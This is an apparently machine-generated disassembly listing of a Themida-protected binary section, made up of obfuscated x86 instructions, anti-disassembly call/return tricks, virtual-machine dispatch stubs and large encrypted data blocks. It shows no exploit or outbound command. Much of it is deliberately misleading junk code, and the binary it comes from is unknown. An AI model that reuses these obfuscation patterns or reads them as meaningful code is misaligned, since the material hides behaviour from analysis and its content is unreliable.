pop ebx
push 0FF10E842h
; ---------------------------------------------------------------------------
db 8Eh
; ---------------------------------------------------------------------------
jge short loc_5A7D40
clc
db 2Eh
pop edx
inc eax
retf
; ---------------------------------------------------------------------------
db 0EAh
; ---------------------------------------------------------------------------
jmp fword ptr [eax]
; ---------------------------------------------------------------------------
dw 0D66Ch
dd 3FE7883h, 1F6C09D9h
; ---------------------------------------------------------------------------
loc_5A7D40: ; CODE XREF: Themida_:005A7D2Cj
cwde
add al, bl
db 3Eh
out dx, eax
adc edi, [ebp-21h]
jbe short near ptr loc_5A7D70+2
and esi, [ebx+20E275BEh]
adc bx, [ebx+eax*8+4Fh]
outsd
or esp, eax
xchg cl, [esi-73h]
lea edi, [ecx+6A0615C9h]
add [edi-18h], dl
add eax, [eax]
; ---------------------------------------------------------------------------
dw 0
; ---------------------------------------------------------------------------
loc_5A7D68: ; CODE XREF: Themida_:005A7D12j
and [edi-3Dh], bl
pop edi
mov [esp+4], edi
loc_5A7D70: ; CODE XREF: Themida_:005A7D48j
add dword ptr [esp+4], 18h
inc edi
push edi
retn
; ---------------------------------------------------------------------------
shl byte ptr [eax+9], 1
push ebp
and cl, [ecx+1009F58Dh]
push es
sub [ebp+6102961h], edx
mov dword ptr [ebp+6102319h], 6764h
push 0
push esi
call sub_5A7DA1
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5A7DA1 proc near ; CODE XREF: Themida_:005A7D99p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 1Dh
inc esi
push esi
retn
sub_5A7DA1 endp
; ---------------------------------------------------------------------------
db 0ABh, 1Dh, 0F6h
dd 6D59FB0Eh, 1FD812Bh, 100CB1BDh, 6D9D8B06h, 0C7061021h
dd 1022C185h, 6, 298D8900h, 0FF06101Dh, 1004E9B5h, 52006A06h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1704h, 0C3524200h
dd 0DB60B255h, 0BE9h, 53419000h, 0E58D8735h, 0C6D6F655h
dd 2DB995FFh, 6E90610h, 0AC000000h, 94EC37E7h, 0FF006AE9h
dd 1031C995h
; ---------------------------------------------------------------------------
loc_5A7E24: ; DATA XREF: Themida_:0054D194o
push es
mov eax, eax
jmp short loc_5A7E41
; ---------------------------------------------------------------------------
db 73h, 3, 0ECh
dd 9DA96A20h, 0D05DB4Dh, 1788873Ah, 0C789C0D3h, 0DDCE1A36h
db 65h
; ---------------------------------------------------------------------------
loc_5A7E41: ; CODE XREF: Themida_:005A7E27j
lea ecx, [ebp+615CA7Ah]
pusha
movsx edx, cx
popa
mov [ebp+61009F5h], ecx
cld
mov dword ptr [ebp+6102319h], 5A04h
mov dword ptr [ebp+61022C1h], 0
push 0
push ebp
call sub_5A7E72
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5A7E72 proc near ; CODE XREF: Themida_:005A7E6Ap
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 18h
inc ebp
push ebp
retn
sub_5A7E72 endp
; ---------------------------------------------------------------------------
dw 0E9E6h
; ---------------------------------------------------------------------------
ficomp dword ptr [ebp-38h]
adc ebx, 57B85264h
push dword ptr [ebp+6102ED5h]
push 0
push ebp
call sub_5A7E9E
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5A7E9E proc near ; CODE XREF: Themida_:005A7E96p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 15h
inc ebp
push ebp
retn
sub_5A7E9E endp
; ---------------------------------------------------------------------------
dw 43Bh
; ---------------------------------------------------------------------------
mov [ebp+6103365h], edx
call dword ptr [ebp+6102DB9h]
push 0
push ecx
call sub_5A7EC7
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5A7EC7 proc near ; CODE XREF: Themida_:005A7EBFp
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 17h
inc ecx
push ecx
retn
sub_5A7EC7 endp
; ---------------------------------------------------------------------------
mov eax, edi
and eax, 0D78B6698h
push 0
call dword ptr [ebp+61031C9h]
mov eax, eax
jmp short loc_5A7F06
; ---------------------------------------------------------------------------
dw 0E6F5h
dd 0B1F8051Ch, 0C806E0BEh, 0C5254FC7h, 14A87921h, 0DAED976Bh
dd 7006D8D9h
db 5, 0F4h
; ---------------------------------------------------------------------------
loc_5A7F06: ; CODE XREF: Themida_:005A7EE8j
lea ecx, [ebp+615CB00h]
mov [ebp+61013F1h], edx
mov [ebp+61009F5h], ecx
push edx
jge loc_5A7F25
mov [ebp+6102065h], esi
loc_5A7F25: ; CODE XREF: Themida_:005A7F19j
pop esi
xor esi, [ebp+6100869h]
mov dword ptr [ebp+6102319h], 7124h
sub [ebp+61014E5h], eax
mov dword ptr [ebp+61022C1h], 0
add [ebp+6102F35h], eax
push dword ptr [ebp+61011EDh]
mov [ebp+6100511h], edx
call dword ptr [ebp+6102DB9h]
mov edx, [ebp+6101469h]
push 0
call dword ptr [ebp+61031C9h]
mov eax, eax
jmp short loc_5A7FD8
; ---------------------------------------------------------------------------
sbb eax, 3991B900h
cmpsd
aad 41h
pop esi
sub eax, 0B435EED1h
and al, 4Ch
lea ecx, [esp+eax+51h]
mov ch, 9Fh
retn 734Ch
; ---------------------------------------------------------------------------
retn 69D8h
; ---------------------------------------------------------------------------
dd 0F5C9469Ah, 0EE16B46Fh, 52D6FAACh, 9EB0C849h, 765F78E5h
dd 0B407040Ah, 0E3B157CEh, 0D6F3EA3Dh, 6C1DD919h, 8763A9E8h
dd 83F4191Bh, 0F4346E2Ch, 0EB9976BCh, 36E16F68h, 70BC2E8Ch
dd 1C0242BBh, 9AF8C881h, 0F008036Fh, 7A39BAF9h
; ---------------------------------------------------------------------------
loc_5A7FD8: ; CODE XREF: Themida_:005A7F6Ej
jmp loc_5A7FF1
; ---------------------------------------------------------------------------
db 0AFh, 54h, 48h
dd 12h, 3 dup(0)
db 0
; ---------------------------------------------------------------------------
loc_5A7FF1: ; CODE XREF: Themida_:loc_5A7FD8j
jmp loc_5A855B
; ---------------------------------------------------------------------------
dw 7A7h
dd 0DB9108C4h, 0FCB128A4h, 0DB9007C3h, 0F9AB2A9Eh, 0FC08FEBAh
dd 1F9BDA8Eh, 0F8B4F598h, 1692CD81h, 0F7B3E89Fh, 0C1812814h
dd 256BD9B7h, 7932FCC8h, 3C441F3Bh, 4E00F7Ch, 98D77910h
dd 0CD7F3A24h, 4902B98Eh, 0C2696014h, 4A02998Dh, 243C330Ah
dd 0B59170CBh, 0E924CAC1h, 0AFE69E3Dh, 5EF586C3h, 69089772h
dd 10EA1FC8h, 0B873A649h, 6DCCD00Ah, 75526EEAh, 59943AC1h
dd 0DAB056E5h, 516F232h, 16C25245h, 6EA463Ah, 89CA7B1Ah
dd 0D9780B9Dh, 0C377B258h, 8DF9F4D9h, 26D53666h, 0ACE18A51h
dd 9914B1F8h, 9C1B6DCCh, 510DE005h, 82ED336Ah, 5F000000h
dd 50447932h, 0B90900DEh, 5D6DCC7Ch, 813FEC01h, 9A6DCC7Ch
dd 0D1C8BCF1h, 9930E41Bh, 6BC7BBF4h, 6C50EFD0h, 8347DEDDh
dd 7C14AE5Dh, 84296DCCh, 23DB574Bh, 0A46D3247h, 84336B35h
dd 0Eh, 1DA5647Ah, 0F9923388h, 0D3EF2EE2h, 7A322EF6h, 90384F43h
dd 0D07D8B50h, 4A26773Ah, 4F8C3F56h, 18B708A3h, 223C7319h
dd 0CAB6F597h, 4ECD9166h, 0F31EC595h, 0CCCE8A38h, 0D2EE6A6Dh
dd 0AA1E421Eh, 3F7E321Ch, 0EA58532Dh, 0A6DCC7Ch, 0B7F4970Eh
dd 3FE5E4A2h, 0D93F1C08h, 9032D907h, 746DCC7Ch, 7CB111F8h
dd 0D9556DCCh, 46801F04h, 0B794CF73h, 550948FCh, 8748826Bh
dd 0C60D9617h, 4C812AB1h, 538C4158h, 517AF69Fh, 0E08585D2h
dd 0D4678459h, 9005B83Dh, 77E5336Ah, 27000000h, 533F7E32h
dd 7A548D34h, 0D9CD0EBFh, 0EB7E805Dh, 0EC21CA91h, 8C952C0Fh
dd 962599D8h, 74CEBDF2h, 906DCC7Ch, 0C5C4B094h, 500BE522h
dd 0E51EC39Bh, 3C113531h, 0CB6A194Ah, 6B33F32Eh, 54D333h
dd 6EED0000h, 0AC887CB9h, 7E32F5CFh, 0A1C5FCA4h, 0C8527BF5h
dd 0D85697F6h, 0C46AF106h, 0C4767789h, 11809B59h, 981313E8h
dd 1552F5C4h, 53E80561h, 94D375BCh, 7A329218h, 0BF084F43h
dd 806DCC7Ch, 6C45A03Fh, 4C336B35h, 0Ah, 2C327972h, 5F54FD25h
dd 7B32C28Ah, 90374E42h, 433DA75Bh, 3144220Ah, 0E7F89D67h
dd 51566CD0h, 3211E60Ah, 99DB9293h, 918DE9CAh, 3BEFD392h
dd 0F20CCFE6h, 0FC0BD237h, 0BD6C9267h, 943C7F05h, 0B42EAE1h
dd 22371B17h, 79100460h, 9A219DD2h, 0A1C8BCF1h, 943C7F23h
dd 0E6E07F20h, 7FB111F8h, 0D955943Ch, 7FBE0407h, 0DA56943Ch
dd 588D36FDh, 0D60DB386h, 0AD31462Ah, 5440752Eh, 6FAC5FDAh
dd 2D712B8h, 0DC29239h, 0F1DAF4D0h, 0DD294336h, 0B472876Ah
dd 42DC4D7h, 0E7B2265Bh, 397A6826h, 14606h, 4D3F800h, 0D11E5366h
dd 0B6F99D3Dh, 0A1C5B1A3h, 96D700CCh, 78B52D4h, 0DD805DE1h
dd 40EB05D6h, 67FC0F0Bh, 0F4937FDBh, 79CB0D4Bh, 8000DC94h
dd 0FA618A64h, 9DD45DCFh, 6CEB7388h, 340E3B3h, 1D2F130Fh
dd 0F8ACE99Eh, 5F12EE1h, 76284521h, 8E7DA85Fh, 9423AB34h
dd 0D916B9D0h, 702DD9FDh, 0B66DB44Bh, 68F3CD81h, 0AC7388C1h
dd 397B5F61h, 2C610AD1h, 52994Fh, 5CF30000h, 49401AC1h
dd 0EDCC7CD9h, 267521FDh, 0EDCC7C9Ch, 6CE38241h, 0FF3CEF51h
dd 37540613h, 0BFC2A90Bh, 0FEADBFA3h, 6DCC8064h, 0A1CAA480h
db 7Ah, 5Fh, 0F0h
byte_5A8363 db 39h ; DATA XREF: Themida_:0054DDE4o
dd 6DCCD489h, 85CCF16Dh, 63EEDB00h, 0F8CFC97h, 5943FBD0h
dd 0F429E2h, 7C9A4724h, 0F2000000h, 4C1EBD5Ch, 0FC0C3C5Dh
dd 0A24ECA67h, 93477C23h, 3E7F32A9h, 0C4F9B229h, 846D5ED0h
dd 82CDCF61h, 7AC5BE9Bh, 0F19423DEh, 5E934C0Fh, 0A99AEB2h
dd 0EC21CA6Bh, 0D7041370h, 0E50E0605h, 15A49E19h, 0E4403473h
dd 6B171307h, 927EB36Ch, 0F8D27100h, 0EAA51D3h, 6BEADD7Ah
dd 0FD607DB6h, 500BE5F6h, 0A6B35F9Ah, 4C4BBF14h, 1B3014DAh
dd 0D4E4645h, 0F86942Fh, 0D691D5Eh, 5CD775E9h, 0BDD83BDh
dd 4C381C57h, 0CF20CE8h, 8B60974Dh, 0F64790A0h, 40343067h
dd 7AB96BEEh, 6CDAA86h, 25B4285Dh, 0E5D497Eh, 0E85BB696h
dd 0F9DD744Bh, 1CED4ED4h, 407CD56Dh, 8353188h, 0A2B74BA9h
dd 813D7219h, 0B281AE9Fh, 0C5B09BDAh, 0A4742BA8h, 7195C2FFh
dd 0E4C1EAC7h, 16A5B79Bh, 0B0E79D6Dh, 0D0C7B794h, 4D0CDE1Bh
dd 0B1B56196h, 49F8EA9Ch, 9FD48BAAh, 0BEF3AC2Bh, 2EC1D2h
dd 0D73B0000h, 6ED4D7A9h, 866DCC7Ch, 7C47FBAAh, 0CD9F6DCCh
dd 0CC7C64DEh, 0C0A4806Dh, 98235DABh, 2F641BF3h, 0D6035F13h
dd 3ACEBE85h, 774D2AB0h, 493D8032h, 0B0649952h, 463A7519h
dd 0A95D9E4Fh, 533F7E32h, 0A5519034h, 50448126h, 0A75B9439h
dd 55417830h, 8D968CFh, 3C890000h, 15226824h, 3C890000h
dd 0E6895624h, 4C681h, 0EE810000h, 4, 5C243487h, 56240489h
dd 4F8BB850h, 0E8C14322h, 46F12D05h, 0C689FC03h, 5EF78958h
dd 4EC81h, 24890000h, 24048324h, 0B9515804h, 8, 0BA52C101h
dd 0
; ---------------------------------------------------------------------------
add edx, ecx
mov [edx], edi
pop edx
pop ecx
mov eax, [esp]
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
push dword ptr [esp]
pop edi
add esp, 4
jmp loc_5534D8
; ---------------------------------------------------------------------------
db 77h
dd 0D065F126h
db 1, 0EAh, 0CFh
; ---------------------------------------------------------------------------
loc_5A855B: ; CODE XREF: Themida_:loc_5A7FF1j
mov eax, 615D066h
add eax, ebp
jmp eax
; ---------------------------------------------------------------------------
dd 28928976h, 1DD14C97h, 6110D04Eh, 134C82E1h, 217D5B67h
dd 7DFDEBE5h, 2F302FE7h, 21E51896h, 31A665Dh, 7541C2Ch
dd 6C247D40h, 0FC61FE6h, 93A9AB1h, 2B1F05Ch, 5342BE6h
dd 42713E15h, 0BF398C0h, 3C3EC2BBh, 33C78F2h, 2A68B17Eh
dd 120537C4h, 4BE9h, 8FA74B00h, 72h, 0C51C5700h, 6148434Ah
dd 0A5ADF936h, 528C88A7h, 0B7FB75h, 0ADF99CBEh, 89937EE5h
dd 0F4C7009Dh, 6063921Dh, 0DE19h, 7 dup(0)
; ---------------------------------------------------------------------------
jmp loc_5A9229
; ---------------------------------------------------------------------------
push 615D2E9h
jmp loc_5534D8
; ---------------------------------------------------------------------------
push 615D437h
jmp loc_5534D8
; ---------------------------------------------------------------------------
push 615D547h
jmp loc_5534D8
; ---------------------------------------------------------------------------
push 615D650h
jmp loc_5534D8
; ---------------------------------------------------------------------------
push 615D72Ah
jmp loc_5534D8
; ---------------------------------------------------------------------------
push 615D80Ch
jmp loc_5534D8
; ---------------------------------------------------------------------------
push 615D8EAh
jmp loc_5534D8
; ---------------------------------------------------------------------------
push 615DB19h
jmp loc_5534D8
; ---------------------------------------------------------------------------
push 615DC28h
jmp loc_5534D8
; ---------------------------------------------------------------------------
db 36h
dd 5EDD5194h, 3CBB6FA6h, 9904C85h, 26B52966h, 0A1874382h
dd 1655F765h, 317213A2h, 0D48FE7Dh, 0EC21CA51h, 88837D70h
dd 6BD9AD3Ah, 5C37FDDAh, 5D4C1EBDh, 67F64D6Ah, 71A65D74h
dd 0DCCFA185h, 94265366h, 0ACBEA27Eh, 6148792Dh, 942653E1h
dd 594D2905h, 6CA95EDDh, 0B99FBCB8h, 98144902h, 0E2C6A21h
dd 0DB10B7DDh, 9E1E4B27h, 0EEA2BE34h, 17E9F201h, 1C3A0414h
dd 42517A9Eh, 77961576h, 9E6DD5D4h, 0AD899E18h, 4EF4B7C9h
dd 0A69E189Eh, 71EDADCAh, 614C815Fh, 7EB36CBEh, 0BED3A259h
dd 447932A9h, 8123B688h, 0F5D24E42h, 0A450853Eh, 1D5E0FCAh
dd 8DF00D69h, 8A815F86h, 9E189938h, 299980DCh, 0CD9E1899h
dd 0B05B7551h, 9428E09Fh, 976E0267h, 0EA9F76EDh, 17B56FDh
dd 0F2CEF492h, 2C4C1745h, 1C8D995Eh, 0A23h, 0F266A949h
dd 0D286BD63h, 0E9659E43h, 0CC80BD72h, 0E05C9B4Dh, 0B86C9EEAh
dd 9336C579h, 0AB5FD652h, 863DBC70h, 0EF2DD51h, 0D9AEA71Bh
dd 0DA623F6Bh, 0C73B7932h, 5EE4A744h, 0B66DCCB4h, 99718DBAh
dd 3EFDCFF3h, 8B7B5085h, 4C1E530Ch, 0F29ED98Dh, 0FBE5596Eh
dd 61B2F2D2h, 5126083Ah, 0A4B625B4h, 0FC51C4E5h, 984B4267h
dd 0DC8B775Bh, 943C5662h, 9653F281h, 397B003Bh, 3E7B30ABh
dd 57F9CE52h, 40h, 6004D7B5h, 7CC2802Bh, 46226DCCh, 0DDFA762Ah
dd 4B597980h, 0FF180C0Bh, 5356284Ch, 67FC647Eh, 144B0198h
dd 34E00460h, 93C87F3Ah, 6471CDB6h, 0DF94943Ch, 1E4CA540h
dd 0CE2C397Bh, 9E000000h, 0D0AA96D7h, 146348B1h, 8EC37C37h
dd 6741E3E2h, 999D89C2h, 0E477C9BDh, 161A063Bh, 0C2AEED9Fh
dd 19D2895Eh, 0F29930E4h, 0F14A01BDh, 4E6DCCA4h, 6DEC6095h
dd 83DE6B6h, 483C181Ch, 6D7F5C7Bh, 4BE6D93h, 0E06DCCDCh
dd 0A7BC6784h, 3F67FCAAh, 0FB1A67E3h, 0B61B0EE0h, 2E9E0A25h
dd 0CDB9FAABh, 928E9469h, 104F01B8h, 0D969203Eh, 3D9E11A5h
dd 0C3520CE1h, 69A24721h, 4902B9BDh, 5F8B3014h, 0D1403591h
dd 8D5D4C5h, 4BFB0000h, 1FC55408h, 40E574E8h, 1FC45307h
dd 3DEF66E2h, 205C4AFEh, 0BBFFEB2h, 2498D98Ch, 2B6F195h
dd 2397CC73h, 0ED555428h, 96BD9A8h, 7E3220ACh, 58532D3Fh
dd 6DCC7CEAh, 85390E0Ah, 0A4184DF6h, 1EBD5C06h, 1F4C324Ch
dd 132DE226h, 1CA655E7h, 316DCC83h, 0D24E427Dh, 0E2873E1Ah
dd 0FAD7D4A9h, 0FA67FC83h, 0B2598C3Fh, 943C8210h, 7F5C78F4h
dd 0A4F39F7Bh, 943C821Ah, 0CE2BCAF9h, 397A3803h, 0CBE3h
dd 79322900h, 0CBD1FE3Bh, 0EEF0DD16h, 84567A9Fh, 0F7D413B5h
dd 604B3507h, 6DCC9FE2h, 0C9793002h, 2D6DCC9Fh, 7B381531h
dd 24C081C9h, 630F5001h, 0A601DAFFh, 7B65775Bh, 0CCBB3290h
dd 8156D26Dh, 0C765D685h, 11BA6DCCh, 32D960DCh, 7E72AB62h
dd 762A6107h, 6FAD6FAh, 0AFC11AB9h, 0FCC9E7FCh, 0A723FF67h
dd 275E06D5h, 83E2F77Bh, 96956774h, 9E0A052Ch, 0C7926CC8h
dd 0E372E625h, 0F3550241h, 9D4035B7h, 7C52089h, 3BEB0000h
dd 0FB544F8h, 30D564D8h, 0FB443F7h, 2DDF56D2h, 304C3AEEh
dd 5BCF0EC2h, 74E829DCh, 520641E5h, 73E71CC3h, 3D858478h
dd 0D96BD9A9h, 7E3250DCh, 530C8B3Fh, 811F4C1Eh, 23D8D6C3h
dd 5DEB7388h, 50447932h, 835D9239h, 7C14AE5Dh, 74F06DCCh
dd 9E28DF57h, 0D96DCC7Ch, 4200AB3Ah, 0A26DCC7Ch, 0AED0AAC6h
dd 0CC7C47FBh, 0A6C39F6Dh, 0D7D2ACD2h, 6DCC7C6Bh, 0D1BA8F8Bh
dd 67F64DC8h, 0BB0702DCh, 5B942652h, 65A448FFh, 0C4969288h
dd 0F4BCD187h, 0D425124Fh, 2B9792D4h, 0CB94266Ah, 1946734Fh
dd 94DF4208h, 0CD8C7489h, 0DE0FE116h, 0C7369E1Dh, 0C4C7997Bh
dd 9426B37Eh, 0F9BD9A96h, 0CD823927h, 9980E490h, 9426B329h
dd 0D213B6CDh, 559637EEh, 3404BB78h, 566538Eh, 0EF0E4EEDh
dd 8658724Eh, 266B3F83h, 3D52D794h, 38CF1E7Dh, 0E698B591h
dd 0FE1FA19h, 16535F1Ch, 0DE8BE79Eh, 4032056Ch, 0BC617222h
dd 0E2000006h, 0EA71ED30h, 0C84F0B42h, 0E574E821h, 0D2490542h
dd 7D6BDF1Eh, 0F231D301h, 0CD0EBF36h, 0A9E48A11h, 0C8FDA635h
dd 64271914h, 6BD9AADEh, 32F3B936h, 0E7413B79h, 36CB261Eh
dd 0B490CB7Fh, 54F5C49Ah, 14035F13h, 6DCC68AEh, 110DEA46h
dd 0AAE79C1Fh, 285D06CDh, 0E57C1F7Ch, 7BB25AE1h, 22571087h
dd 0A6E5873Eh, 0DA6176FAh, 7D40FC31h, 336B2234h, 714h
dd 76407600h, 8C000001h, 0CC7C4402h, 0E7F4036Dh, 4D0E1615h
dd 0B58467F6h, 9B27E20Fh, 7B942653h, 53CFC39Fh, 0D6A88476h
dd 0B3275C03h, 5A467B24h, 77B859E0h, 4CF40362h, 9D8C5E93h
dd 94265325h, 6F8165C1h, 11965C91h, 0AF47B5C1h, 83A8F19Ah
dd 675E9E16h, 989C88C3h, 34350FBCh, 2BFB4032h, 5E2BAh
dd 23660800h, 417830A7h, 1E570E8Dh, 3B782BAAh, 1554F87Fh
dd 2557B399h, 11884483h, 2CAB1F60h, 0F87F3B76h, 0AB9E1A4Fh
dd 0AB68DAD1h, 0F8C6BD9h, 44793285h, 54923950h, 0D4CA438Dh
dd 2F9396D7h, 0C76DCC2Eh, 0B76B876Bh, 322C1E2h, 8655275Ch
dd 72EEA2E3h, 0D31EE155h, 43336AE3h, 92D5330Ah, 72EEA2DBh
dd 15F45345h, 79038h, 40FA0000h, 0A5h, 1EBD5C8Ch, 83D41F4Ch
dd 301D52F9h, 9EBB5EADh, 85FCCFBAh, 2A0667F6h, 0F7AB2E50h
dd 6B149FBCh, 4F3A2436h, 94268AF3h, 0A75B964Ch, 8257D3CBh
dd 51863DBCh, 12C950A5h, 0BB5B5138h, 0EF6B9E1Ch, 6EA75EDDh
dd 0BB48759h, 2CD362D6h, 1FB60BF7h, 0A2BCA2BCh, 19595BE7h
dd 8A5FBB9Eh, 2920ACA1h, 79DE3A94h, 5E2D53F5h, 0DACBDBh
dd 26000005h, 0E8D4184h, 2CAB1F56h, 0F9803C75h, 16A51956h
dd 91773372h, 26650775h, 418223B2h, 1D580E8Dh, 3C711AA1h
dd 0F8B38D80h, 6BD9A44Ah, 40672DAAh, 15Eh, 1EBD5C8Ch, 5D4C324Ch
dd 6DCC7CE5h, 5B482501h, 67F64D68h, 10E48950h, 4D391D5Ch
dd 538A38F3h, 0EE6A9426h, 8E05F5D2h, 0B7B09DD8h, 0DBC59C88h
dd 16A5B79Bh, 3D23386Dh, 1C90C57Eh, 0C5B1E69Dh, 0B057E9F0h
dd 0CD04BC7Bh, 1496D7A9h, 0B8964B39h, 79B257CEh, 0ACD4A98Dh
dd 870899D2h, 0FC15644Bh, 253424DFh, 50CC9E1Ch, 0CF04BB7Eh
dd 0EE23DC5Bh, 1A26AD02h, 401A3677h, 46FCD879h, 371B170Bh
dd 99203E22h, 7CC6C5F4h, 989E18EBh, 693B89Ch, 59405531h
dd 6B5C4724h, 739428CCh, 88C652F7h, 0FCA85E2Ch, 422EBh
dd 63A64800h, 81B870E7h, 5E974ECDh, 7BB86BEAh, 559438BFh
dd 6597F3D9h, 51C884C3h, 6CEB5FA0h, 38BF7BB6h, 0EBDE5A8Fh
dd 0A4A81A11h, 4F4C6BD9h, 447932C5h, 0C0FBAF2Ah, 8B7B50D4h
dd 0E083530Ch, 76D3BFA3h, 40E74EE5h, 597DBC70h, 35D71AE5h
dd 5FB7336Bh, 0C9000000h, 884EF4B7h, 85849233h, 9233883Dh
dd 0C9A55DD9h, 0BD5C18B4h, 645D4C1Eh, 6067FCCAh, 0CE378B7Eh
dd 4ACF9423h, 39051B56h, 32472BB3h, 5FDAF470h, 0EBD71AAh
dd 94237FB1h, 5A0DDD86h, 3927391Dh, 7FDE6427h, 3A369423h
dd 237FF74Bh, 94130F94h, 229CB1F0h, 0C1B5EE93h, 36ED8h
dd 7C322400h, 5DB5541h, 0CC7CBC06h, 0FFDC586Dh, 0E2568B34h
dd 1CE0D3F8h, 0B0EFB07Fh, 3267209Bh, 0D0A0473Eh, 0ECFEE217h
dd 6C81B66Dh, 55868DF2h, 0CF0AC07Bh, 562A3F23h, 0FC1A7653h
dd 0E0949067h, 238A0DB9h, 3CD3F094h, 7B33F8B9h, 7DD839h
dd 0D7320000h, 56FDFD96h, 54F76CD2h, 0EB076B17h
dd 73686F0Eh, 0BC81B259h, 6A6367FCh, 3AEB0D6Ch, 0DB35226Bh
dd 11C384F0h, 0C7BEC499h, 363AE625h, 180B401Ah, 938C4773h
dd 13044DD3h, 0E546426h, 3C1AA71Bh, 0FFE33F94h, 77423CEAh
dd 85E195D6h, 1A03BB68h, 6B14943Ch, 1AF94940h, 411D943Ch
dd 0B25A7125h, 8B34877Bh, 7194BFF4h, 587010CBh, 59F88B7Ch
dd 7A45519Ch, 10B3139h, 0D79B0000h, 7C4002A9h, 0C8A46DCCh
dd 4A7F28B3h, 0CD02A930h, 35D7EEB0h, 0D48B0AF6h, 7C4002A9h
dd 0C8A46DCCh, 6307D2ACh, 7CCB7732h, 2F2B6DCCh, 0E6035F13h
dd 0B5EAA138h, 0F952F9h, 9D466DCCh, 27DB1CCDh, 24B3274Bh
dd 0D24C3D7Bh, 38A42807h, 7C9B681Ch, 7A738D5Fh, 0B9DA8179h
dd 7DB6A36Fh, 9FAAD663h, 25E69DBAh, 0E19803C5h, 5D7CC985h
dd 826ED975h, 5F4AA528h, 942379E3h, 274B2703h, 0C2802B55h
dd 22942379h, 5C4F3146h, 9E15B16Eh, 0FEE0FA76h, 319929E0h
dd 0A17D9E10h, 1E5D0FCCh, 3A792BAAh, 3405958Dh, 1A8B9B40h
dd 1F3h, 82367919h, 0A2164DF3h, 79356E13h, 9C104D02h, 0B02C6B1Dh
dd 681C4EBAh, 8326B529h, 5B0F8642h, 762DAC20h, 9EA28D41h
dd 0D9A757EBh, 6A32AF6Bh, 239F96D7h, 15E747B8h, 8AC97B38h
dd 6BA047CEh, 39EC6F91h, 81280CF8h, 6DCC7EC1h, 0AA344925h
dd 1E6809D0h, 4368C1Dh, 6B80646Ah, 1EBD5CE1h, 7C745D4Ch
dd 0E97067FCh, 2FF30847h, 58341933h, 80BF7109h, 9AAB9094h
dd 0F9A5C285h, 3C6C14B2h, 25BCF794h, 7B25EDC0h, 0CDCD39h
dd 323F0000h, 39504479h, 0FDAC5897h, 6DCC004Ch, 0A012CD3h
dd 923380B8h, 68E4005Ch, 11053AF1h, 0B4C615A4h, 3F334F5h
dd 0E256D298h, 2352D3F8h, 26303A01h, 0B625B451h, 15A4BAA4h
dd 0E84C386Fh, 23258141h, 0ACE99E94h, 0A86378F4h, 9E15E873h
dd 0EBC76AF1h, 0E12FE35h, 9651532h, 0E6C064F7h, 181C083Dh
dd 0AD9E803Ch, 0EF93DA3Ah, 7764C0B4h, 0D3A8DDB8h, 0B8256408h
dd 403461D4h, 0E439AA7Ah, 0A000000h, 32A92568h, 1087437Ah
dd 2DAC2059h, 0FA813D7Ah, 0A5A31756h, 3A792B59h, 1556F77Eh
dd 316C2299h, 1045FE7Dh, 0DCCFB19Ch, 6BD9A066h, 329B217Eh
dd 0AE2D3F7Eh, 35A9BEF7h, 0B6C8FDA6h, 50447F23h, 1BF83CCBh
dd 0E4C87Ch, 32D573EBh, 39504479h, 84E15D92h, 0AE745D75h
dd 7A5F984Dh, 1C38FD30h, 2A94742h, 194767F6h, 2FE4447h
dd 1A169426h, 2602D76Bh, 16332F94h, 7D1C0864h, 431D91C6h
dd 0B499D078h, 324A390Dh, 864D2A5Dh, 0ADFCA8DDh, 998229Dh
dd 9F861D86h, 80F7B3E8h, 1B892C7h, 685F134Ch, 91668ABFh
dd 1451F695h, 0C1787660h, 4125D10Eh, 39F8972Ch, 5AE15D92h
dd 1F887CB1h, 1Fh, 0C5F29A21h, 9C217CC6h, 0B89C98E8h, 0B99368CCh
dd 7C3F215Fh, 21A188C9h, 0C56DCC7Ch, 32B89469h, 52493D80h
dd 19B06499h, 4F463A75h, 32A95D9Eh, 34533F7Eh, 26A55190h
dd 39504481h, 30A75B94h, 0CF554178h, 504668h, 243C8900h
dd 81E38953h, 4C3h, 4EB8100h, 87000000h, 895C241Ch, 0DD682434h
dd 89000056h, 6EBE243Ch, 5519504Eh, 924501BDh, 76CD811Ch
dd 0C179B631h, 0ED8102E5h, 27E16671h, 315CED81h, 0F58114A8h
dd 5695BD81h, 545DEE01h, 81243C8Bh, 4C4h, 4EC8300h, 8F243489h
dd 3C8B0847h, 0E1895124h, 4C181h, 0C1810000h, 4, 5C240C87h
dd 5E2434FFh, 0E904C483h, 0FFFAA2B8h, 3F25E4Ch, 0F5B72F9Dh
db 8Dh
; ---------------------------------------------------------------------------
loc_5A9229: ; CODE XREF: Themida_:005A8608j
mov eax, 615DD31h
add eax, ebp
jmp eax
; ---------------------------------------------------------------------------
dw 9771h
; ---------------------------------------------------------------------------
sbb al, 2Dh
retn 992Eh
; ---------------------------------------------------------------------------
db 7Ah, 5Eh, 61h
dd 7BE80188h, 0CA3B521Ch, 5F552C34h, 0F4EC12AAh, 0CFB271ACh
dd 0BEB1030Ah, 0DC704E22h, 8F063B6Fh, 53D8000Ch, 6CAD7D13h
dd 0EDCD7315h, 9C1C0333h, 171A0917h, 0B4C0F5Ah, 0B62B5AFDh
dd 0BC665214h, 1FB45DC5h, 4A9F1FC3h, 7DCB7556h, 0AF154115h
dd 4B130DA5h, 29001A9h, 0DE41D0Ah, 7625307h, 0E7F8644Eh
dd 16E92838h, 7F000000h, 9C406A99h, 77E733h, 3 dup(0)
dd 0D4BE900h, 0E8680000h, 0E90615DFh, 0FFFAA20Ch, 15E0D368h
dd 0A202E906h, 2768FFFAh, 0E90615E2h, 0FFFAA1F8h, 15E37F68h
dd 0A1EEE906h, 568FFFAh, 0E90615E5h, 0FFFAA1E4h, 15E79768h
dd 0A1DAE906h, 0E68FFFAh, 0E90615E9h, 0FFFAA1D0h, 15EA3668h
